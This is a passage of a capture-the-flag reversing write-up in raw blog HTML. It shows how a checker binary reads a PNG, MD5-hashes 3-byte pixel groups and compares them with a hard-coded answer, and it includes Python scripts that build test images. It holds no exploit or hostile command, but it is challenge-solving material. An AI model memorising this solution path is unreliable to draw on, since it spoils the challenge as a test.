Image\n\nwidth<span class=\"token punctuation\">,</span> height <span class=\"token operator\">=</span> <span class=\"token number\">0x1e0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x14</span>\nmode <span class=\"token operator\">=</span> <span class=\"token string\">\"1\"</span>\nimage <span class=\"token operator\">=</span> Image<span class=\"token punctuation\">.</span>new<span class=\"token punctuation\">(</span>mode<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span>width<span class=\"token punctuation\">,</span> height<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> color<span class=\"token operator\">=</span><span class=\"token number\">255</span><span class=\"token punctuation\">)</span>\nimage<span class=\"token punctuation\">.</span>save<span class=\"token punctuation\">(</span><span class=\"token string\">\"flag.png\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>When I verified this with a program I wrote myself, it returned the expected result.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 770px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/92f61ca29f560299be01de84aec3ac76/f4b77/image-20231115210252054.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 10%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAiklEQVQI103Luw6CQABEUUrAV6CwUSMsFgjLiuJGIYCQQGFCaeL/f8l1Ey0sTjGTGauXDa2qqZOSUXY00QO9uSOXErnKOPqGl/2yIjWd8s+U6xPNtqDdXRmiCu0lZI7AehVP3npiijtGUTEEN3ozurgHclug3K/c+WOH5hwSzwJi13D2JHNBuoj4APgLOumbxOObAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/92f61ca29f560299be01de84aec3ac76/8ac56/image-20231115210252054.webp 240w,\n/static/92f61ca29f560299be01de84aec3ac76/d3be9/image-20231115210252054.webp 480w,\n/static/92f61ca29f560299be01de84aec3ac76/cf403/image-20231115210252054.webp 770w\"\n              sizes=\"(max-width: 770px) 100vw, 770px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/92f61ca29f560299be01de84aec3ac76/8ff5a/image-20231115210252054.png 240w,\n/static/92f61ca29f560299be01de84aec3ac76/e85cb/image-20231115210252054.png 480w,\n/static/92f61ca29f560299be01de84aec3ac76/f4b77/image-20231115210252054.png 770w\"\n            sizes=\"(max-width: 770px) 100vw, 770px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/92f61ca29f560299be01de84aec3ac76/f4b77/image-20231115210252054.png\"\n            alt=\"image-20231115210252054\"\n            title=\"image-20231115210252054\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Using this PNG file lets us pass all of the checks, so execution can proceed to the processing after <code class=\"language-text\">Cake160</code>.</p>\n<p>After that, it loops <code class=\"language-text\">width</code> times and compares the MD5 hash of some value against the hard-coded byte sequence in <code class=\"language-text\">answer</code> with <code class=\"language-text\">memcmp</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 843px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/1ebb5315f96b136aed67b76a99de6dfd/4ff83/image-20231115211247198.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABmklEQVQoz4VSi07DMBDr/38iQmyw7tWubdZHHndpjJMOBAhEJSdtkjq276qoEUM/YBwV4x2EEB5AxDJ3mN2MyVsgcYmDVw9dlYgIGqBRuRawritSSqgkCA6HGpezQ98DzikMCdMqaG8XuBAQRFHoUmH99nxdy6RVIOF+94ozCe8mEwqaZuGm4HXf4fBmobqpyz8XPN5jjJ/IZHmu8tB3A6yVcotKxDSFfB8C1Xkf/1T08ykK8+CcI2JRMk3+QZggzKbkVGZB5NkpzCWzvD77mZHwvJ94RrcMs+Xdyx7H2hbL/mE5QXHvWgytoRWFEJnwQ+VPfCoUBn4+XXBrPa2DlSVRLkoSkl3RNwMWVjqIhbdUPuJbjr8QCk71Cc3Vwwwsit2qDBL25lTaJK4RW9/8nd+mnIRmDnh6PmD35tBQoZkF9WVh/yle9jd0JhFUHhKsEGFD/s5nJmIhx8Ia5O/KB8XxeEbTMuQFrGwsCoUh1/UN1+vCd7YI44tr+h3czLNyrnJ1cobG0BqdCS/oe5cbiEUa0XX2i9X/Lb8DQjVbvfbvHpMAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/1ebb5315f96b136aed67b76a99de6dfd/8ac56/image-20231115211247198.webp 240w,\n/static/1ebb5315f96b136aed67b76a99de6dfd/d3be9/image-20231115211247198.webp 480w,\n/static/1ebb5315f96b136aed67b76a99de6dfd/e3019/image-20231115211247198.webp 843w\"\n              sizes=\"(max-width: 843px) 100vw, 843px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/1ebb5315f96b136aed67b76a99de6dfd/8ff5a/image-20231115211247198.png 240w,\n/static/1ebb5315f96b136aed67b76a99de6dfd/e85cb/image-20231115211247198.png 480w,\n/static/1ebb5315f96b136aed67b76a99de6dfd/4ff83/image-20231115211247198.png 843w\"\n            sizes=\"(max-width: 843px) 100vw, 843px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/1ebb5315f96b136aed67b76a99de6dfd/4ff83/image-20231115211247198.png\"\n            alt=\"image-20231115211247198\"\n            title=\"image-20231115211247198\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Inside that loop, another loop runs <code class=\"language-text\">height</code> times using the information taken from the PNG file.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 676px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/4a934f6f57a57b83d6f89fd19127612d/9bb7a/image-20231116002338484.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 19.166666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAxElEQVQY042QSW7DQAwE9f//BckhgWXJkizL9oyW2ZcKnRxzCYEGiSZRaLBx1uJdJATIubJqyzhsWBupRXxvZO+J0ZOTx6dArQUTdp72CVRMNGinsdKbrp/oBTBeQW0VFwvTzZAq6G3jdL7QdVeWeUbvcqdXtHGkjMCrCEIqhEPjQ6T5agdO/Uo/wrRUdlfoxgMrh8tD8fE58/Z+53H/9Q7/Slf/SsgmFEnYtgwXRYr8xC9FgGf1GinZsm87Sjl5R+E/9Q09aDVdlBFAGgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/4a934f6f57a57b83d6f89fd19127612d/8ac56/image-20231116002338484.webp 240w,\n/static/4a934f6f57a57b83d6f89fd19127612d/d3be9/image-20231116002338484.webp 480w,\n/static/4a934f6f57a57b83d6f89fd19127612d/0ed05/image-20231116002338484.webp 676w\"\n              sizes=\"(max-width: 676px) 100vw, 676px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/4a934f6f57a57b83d6f89fd19127612d/8ff5a/image-20231116002338484.png 240w,\n/static/4a934f6f57a57b83d6f89fd19127612d/e85cb/image-20231116002338484.png 480w,\n/static/4a934f6f57a57b83d6f89fd19127612d/9bb7a/image-20231116002338484.png 676w\"\n            sizes=\"(max-width: 676px) 100vw, 676px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/4a934f6f57a57b83d6f89fd19127612d/9bb7a/image-20231116002338484.png\"\n            alt=\"image-20231116002338484\"\n            title=\"image-20231116002338484\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>I could tell that the processing in this loop takes place after obtaining data from the destination address specified by the second argument to the <code class=\"language-text\">png_read_image</code> function, but the logic was so detailed that I could not fully read through it.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 773px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/2a59f253c5bd43d2f70b64eee4f6c1ca/612f7/image-20231115234053043.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 95.83333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAACZUlEQVQ4y4WUi5aiMBBE/f+PXGcUFYRAeOVFktpKgFn17GjmMMEQLtXd1TksywJrHZwDQgD6XkMp/kDEsliuL5wdFs/ZezjvILVEiAGznTHqCdoZ9LqH476DaASOfwrcKxAMTJNFXc8EBoxjC9EKzGriZgvFF2OM8MHzc9xBeFgMhYR1jc+egOMAzLND12luXyCagsCGihPQwFBBJu3DUwHVwoyAU3np0NQEHguUNz4jRyn7A6yrEy6XK9quhmJoytmsIv/lGf/ut9+HVrT4/rowTCIWQpm/FHKMSeEXUyBhmOAYU1ghv5hGnuOj3LyIQ9d2KM4lhEAujNZuy6HHMAl4gl7HDsUOfYBn4Ol0RdNQoX8EBkyjYKEMlhRqCE+w+KpuGxl4Pl9RVakgK1AIxco53K4FrwrD0GV7JPvssN+unMPTqWSuVtVaL2hbnUOWUvJDM7x/r+pJoWPitLbYIqL3bLbOa852WPLbZCcaO0LTSsqqbOiZs6fxD73sUZYNK7qGnCyzF0U0KRV3DL3AqAZINeUOSaD0AUtjG5o9dZHhWgYmH55Pt2ybvcqrDz1qUaCfBnaEz8pS630MOXXKmbZpNuA8WxZlM3ZbUI39b/hvi1IUVfZhGulg2DulJXDZgI8vfbRNArbt2ikJ2PeGbxAor/lQeC5M3Hz8DnhegbtCKU3OYU+g968Vz/9/z2E2NouSOiVZ5wdIhZ28sRgrMOQ+Dp9zmICXosxVVvN6OEip+dDRTldeAkbP9JmGNdNbdevx1XQ4fpc8CBgk946TQ1XTpJGd0o+48964QP8lUzPPvHl3/QUUuczsbJAhOwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/2a59f253c5bd43d2f70b64eee4f6c1ca/8ac56/image-20231115234053043.webp 240w,\n/static/2a59f253c5bd43d2f70b64eee4f6c1ca/d3be9/image-20231115234053043.webp 480w,\n/static/2a59f253c5bd43d2f70b64eee4f6c1ca/c99d1/image-20231115234053043.webp 773w\"\n              sizes=\"(max-width: 773px) 100vw, 773px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/2a59f253c5bd43d2f70b64eee4f6c1ca/8ff5a/image-20231115234053043.png 240w,\n/static/2a59f253c5bd43d2f70b64eee4f6c1ca/e85cb/image-20231115234053043.png 480w,\n/static/2a59f253c5bd43d2f70b64eee4f6c1ca/612f7/image-20231115234053043.png 773w\"\n            sizes=\"(max-width: 773px) 100vw, 773px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/2a59f253c5bd43d2f70b64eee4f6c1ca/612f7/image-20231115234053043.png\"\n            alt=\"image-20231115234053043\"\n            title=\"image-20231115234053043\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>However, immediately after this loop, the address of the string passed as the first argument to the <code class=\"language-text\">MD5</code> function matches the address where values are stored inside this loop.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 876px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/916894254f63b3e9d0078933d5b0d110/1b1d5/image-20231116002320041.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 42.91666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAABgUlEQVQoz21R2W7bQAzc//+NPDRFi8Cwk5f+RYFchWHZsKxzrcPWStZenFJrJ3HacDAYkiJFgit+Z0s8yRIrVeCl2iA2GR7LJzzLZ6zVEq/dEn/6CJtxi9RlSHyO9MLEZ/9ROOtBHjDao61P0KPj2MEaA2ctnHNMD+sMlO5BREFHq/GViTw/QEpAG0JdD/Ce0NQSSVKw7tGfjmgHBc9TJxI3ec2xOQV/GnBNsY33aFre0BKqSvEmDk1TYb2p0akxTJ0K34xA7951LvyQIXTvzlmWrrE8/lxL5lNPyFvrQs6xkp2Ut7aE6xli1cSI2grRocCy2qIkid2wYkZY9RvkfHzJyPjgsY1RUIGd3SG1adDEJtxTIoBV3KQ/8K36hZl+wPd2hrlf4K67xd3wEzM3x5wWmHDPeGC8+ddYTDUXiijh5640DmbAttyjcwrpXuJlXSE/KJwYAw0fZCiuUa7D0XZQXl1iFb6LWvKL2fMJjo0G8ZmcGdG1ml+S/r3/Z/8L+wsfc68Rsk045wAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/916894254f63b3e9d0078933d5b0d110/8ac56/image-20231116002320041.webp 240w,\n/static/916894254f63b3e9d0078933d5b0d110/d3be9/image-20231116002320041.webp 480w,\n/static/916894254f63b3e9d0078933d5b0d110/21dbd/image-20231116002320041.webp 876w\"\n              sizes=\"(max-width: 876px) 100vw, 876px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/916894254f63b3e9d0078933d5b0d110/8ff5a/image-20231116002320041.png 240w,\n/static/916894254f63b3e9d0078933d5b0d110/e85cb/image-20231116002320041.png 480w,\n/static/916894254f63b3e9d0078933d5b0d110/1b1d5/image-20231116002320041.png 876w\"\n            sizes=\"(max-width: 876px) 100vw, 876px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/916894254f63b3e9d0078933d5b0d110/1b1d5/image-20231116002320041.png\"\n            alt=\"image-20231116002320041\"\n            title=\"image-20231116002320041\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>When I performed dynamic analysis around this part, I found that when I supplied an image whose pixels were all white, the 3 bytes passed to the <code class=\"language-text\">MD5</code> function became <code class=\"language-text\">0x0FFFFF</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 958px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/b52e36baeb458fa08fdc5c208f11e418/b97f6/image-20231115235853373.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 62.916666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAACjElEQVQ4y31TaVPaUBTNh06VnYAIBhACsmV52QNkg6BUHDto1bH7TNv//x9Ob561M3bafjhzs92bs9wnqGKEiZhiVo0QtFxEvRSG6EMvqAiOdSSSg/jERtyywIpnUEtDaMUhjPwZr1rpJYS4v4FWdumlhUWDYV43wPJjmPkR7OIYjjiDXcswhU4DdRryPwiKmGBUWWEqrhC1fSS9FVjZIoYKFnWNM1EOelByfah5mYMz+weE9ckSccOHVzax6dN1Z47ghO5rOklmXO6mN0dy6iLukvyuC6M8+sXo7A/QwGt1h7AdgRGjeV1FSk0bal61bTjlCTEcwi6NufxnsIMB9Ncy9AP5Zc0NIARShOg0hV11sGzacGsO3LqPUFpgTYEkWSCELJzg2EDYNHlASdvBquNiTeC161GvAsGVPPidJVxpjt0wRnhEPkoxdnKC9XiOc3OFCyXE5TQixNiOQ9x5V0h7PlfgVmeEKa9maQTBl3zEPZLctOAXpnBqDMYRg1vUwIiJ1dAQVVUKSIfVMmA3DTgSPRc1aCRRLRIKT9AIwrfNI35sP+LRu8atfYUvqwfc2zsYJfprTYPf0OG3swEzGAUKI0dpvupDI8/Y4YCD+5fVLJTP8R0NuceeXeDW2OJTdMuvncoEYddC0CevZgGWfRt6bUL2mEhPPUreR0QKMk/XHQ9hy+Qsha807PvFe7yz3mCvn+PDco8bPlChFVogzhraLgJa+gUxXh7pcCsz7lnmoZ35WJnyyvfwYX6Dt+YeiZxi0XRwOQqxHQSwCnRKylN41Jgx8UUFIaW8oIFPnsm/vXv2j0tOBwmUkotJwQUrMUqY/CqPoefpA9rBrGqH8lPNyRysMPzrMcwY/gSBZoAYbr0ddQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/b52e36baeb458fa08fdc5c208f11e418/8ac56/image-20231115235853373.webp 240w,\n/static/b52e36baeb458fa08fdc5c208f11e418/d3be9/image-20231115235853373.webp 480w,\n/static/b52e36baeb458fa08fdc5c208f11e418/cb8de/image-20231115235853373.webp 958w\"\n              sizes=\"(max-width: 958px) 100vw, 958px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/b52e36baeb458fa08fdc5c208f11e418/8ff5a/image-20231115235853373.png 240w,\n/static/b52e36baeb458fa08fdc5c208f11e418/e85cb/image-20231115235853373.png 480w,\n/static/b52e36baeb458fa08fdc5c208f11e418/b97f6/image-20231115235853373.png 958w\"\n            sizes=\"(max-width: 958px) 100vw, 958px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/b52e36baeb458fa08fdc5c208f11e418/b97f6/image-20231115235853373.png\"\n            alt=\"image-20231115235853373\"\n            title=\"image-20231115235853373\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>On the other hand, when I supplied an image whose pixels were all black, this value became <code class=\"language-text\">0x000000</code>.</p>\n<p>From these observations, we can see that this program takes some value obtained from the image as a 3-byte input to the MD5 hash function.</p>\n<p>In fact, the result of hashing <code class=\"language-text\">0x0FFFFF</code> on the binary side matches the result obtained by Python’s <code class=\"language-text\">hashlib.md5(b\"\\xff\\xff\\x0f\").hexdigest()</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/7f887efe9cdc95f006f75a354472b577/00172/image-20231116203828245.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 67.91666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACZElEQVQ4y42T2VPaUBTG81ItixIWLbghhkSIuVkwCwmriAKKgmvRaavTaWf60pn+/y9fTy5uODrjw2/O3NxzvpztCt/bl/h5MMGlc4QTbR9fqye4co9hxRXYKRVuZgfBqgknrcJaUKBHJLC5ArS5TbD5wjP0zaA74ffgG/4M70joFNfeEHd7V7itjWEnSqjnd1Er2GizOoItByy9jcoqQzvvYm/DRSNnoZ41uW2t2ZSEDOG+c41fvVtcVHoY6V1MghGuKFszpqCxHqCxUuHOoXXEMry0hmqawUvt8LOTIESVn81oEcKkdo5z7wLd7R5qKx6OSk2csi4Xaa973LFJYv4S49nUsxYPDMvUP2/NwEvuSC1ooodSzIYWN9DMmTiQAhzKTXQ2A3KUqF8FbtkDBgkaUYULv0YwltuQEx0o6T7cbIBgYw9qfBdaMkAz30Brw4ed1KFHt2HEykQJ+gOhsBmZ/uBJ0PxCYuI+5NQAftbBWaWPU6OHem6XO4d9Ch3Dcsw3eBR9FswdQkoOUMyMEeQ83O/f4N/kL3pKCwb1xaFphxM3ox8UtFIOtAUbqliDldFhLfswMnWUYzTVtIUmldxY82ZKnVJ+6OVjT6cIJ5IPP6GhvFCFmqHAJR81yrQqKnATtNyLFDxPQZGwbHmGtzIW2qsGDYOhssygU2mMesZISIvTZBclWLTMhijTXZGQX/D6PEW4aZ7jR4deR2OMIetgZHbRp13sl1s0YXodEdqvWPHDCNfuECPjAGPjkNszq4dBqYVuweev473pvofgJtVp0ItdCs/apzx/DeZT42eb/x7/Adw8nYZLQBoVAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/7f887efe9cdc95f006f75a354472b577/8ac56/image-20231116203828245.webp 240w,\n/static/7f887efe9cdc95f006f75a354472b577/d3be9/image-20231116203828245.webp 480w,\n/static/7f887efe9cdc95f006f75a354472b577/e46b2/image-20231116203828245.webp 960w,\n/static/7f887efe9cdc95f006f75a354472b577/bdcfb/image-20231116203828245.webp 1044w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/7f887efe9cdc95f006f75a354472b577/8ff5a/image-20231116203828245.png 240w,\n/static/7f887efe9cdc95f006f75a354472b577/e85cb/image-20231116203828245.png 480w,\n/static/7f887efe9cdc95f006f75a354472b577/d9199/image-20231116203828245.png 960w,\n/static/7f887efe9cdc95f006f75a354472b577/00172/image-20231116203828245.png 1044w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/7f887efe9cdc95f006f75a354472b577/d9199/image-20231116203828245.png\"\n            alt=\"image-20231116203828245\"\n            title=\"image-20231116203828245\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Because some value obtained from the image data in this <code class=\"language-text\">0x14</code>-iteration loop is treated as 3 bytes of data, it seems possible that the program takes <code class=\"language-text\">0x14</code> bits worth of pixels from the image and leaves 4 bits as null.</p>\n<p>To verify this, I generated an image whose pixels alternate between black and white with the following script and performed dynamic analysis.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">import</span> random\n<span class=\"token keyword\">from</span> PIL <span class=\"token keyword\">import</span> Image\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">get_pixel_data</span><span class=\"token punctuation\">(</span>image_path<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    image <span class=\"token operator\">=</span> Image<span class=\"token punctuation\">.</span><span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span>image_path<span class=\"token punctuation\">)</span>\n    image <span class=\"token operator\">=</span> image<span class=\"token punctuation\">.</span>convert<span class=\"token punctuation\">(</span><span class=\"token string\">'L'</span><span class=\"token punctuation\">)</span>\n    pixel_data <span class=\"token operator\">=</span> <span class=\"token builtin\">list</span><span class=\"token punctuation\">(</span>image<span class=\"token punctuation\">.</span>getdata<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    width<span class=\"token punctuation\">,</span> height <span class=\"token operator\">=</span> image<span class=\"token punctuation\">.</span>size\n    pixel_data_2d <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>pixel_data<span class=\"token punctuation\">[</span>i <span class=\"token operator\">*</span> width<span class=\"token punctuation\">:</span><span class=\"token punctuation\">(</span>i <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> width<span class=\"token punctuation\">]</span> <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span>height<span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">return</span> pixel_data_2d\n\nwidth<span class=\"token punctuation\">,</span> height <span class=\"token operator\">=</span> <span class=\"token number\">0x1e0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x14</span>\nmode <span class=\"token operator\">=</span> <span class=\"token string\">\"1\"</span>\nimage <span class=\"token operator\">=</span> Image<span class=\"token punctuation\">.</span>new<span class=\"token punctuation\">(</span>mode<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span>width<span class=\"token punctuation\">,</span> height<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\ndata <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span>height<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">for</span> j <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span>width<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">if</span> j <span class=\"token operator\">%</span> <span class=\"token number\">2</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">:</span>\n            data<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">else</span><span class=\"token punctuation\">:</span>\n            data<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>data<span class=\"token punctuation\">)</span>\nimage<span class=\"token punctuation\">.</span>putdata<span class=\"token punctuation\">(</span>data<span class=\"token punctuation\">)</span>\nimage<span class=\"token punctuation\">.</span>save<span class=\"token punctuation\">(</span><span class=\"token string\">\"flag.png\"</span><span class=\"token punctuation\">)</span>\n\npixels <span class=\"token operator\">=</span> get_pixel_data<span class=\"token punctuation\">(</span><span class=\"token string\">\"flag.png\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">for</span> pixel <span class=\"token keyword\">in</span> pixels<span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>pixel<span class=\"token punctuation\">)</span></code></pre></div>\n<p>The image generated here becomes vertical black-and-white stripes as shown below.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 553px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/9eb724a6ce7f9b37e126b9e79f17b796/74cfa/image-20231116204544777.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 37.916666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABK0lEQVQoz61RW8uCUBD0z0mgBElPgg9SJIThhZRual7QLmoF9eC/3Y8ZOP/gexh22J3Zs2dXm8/nYpqmLBYLAdd1XZbLJXOz2YzRMAyxLIscdeiUTwF1QHs+n9J1nXw+HwE/Ho8yTZO0bStZlrFW17X8fj/yw+FAnfIB0H6/X0Iry5JGJMHDMJRxHJnb7/eMp9NJHo8HeRAE1AF5njN3uVzkfr8TGl4vikJutxsnieNY3u83xWmasgZD3/fkURRRp3wAtGrq/29YVRUT2AU4DK/Xi19JkoS18/lMMThWAh2gmkGLlQCaWvowDGyKqXAA5LA7xOv1yqOB4xF1jKZpCDTHrwBts9nIer2W7XYrnueJbducYrVaieM4jK7rym63ow516JQPgMb3feIPRkZ+0sihWe8AAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/9eb724a6ce7f9b37e126b9e79f17b796/8ac56/image-20231116204544777.webp 240w,\n/static/9eb724a6ce7f9b37e126b9e79f17b796/d3be9/image-20231116204544777.webp 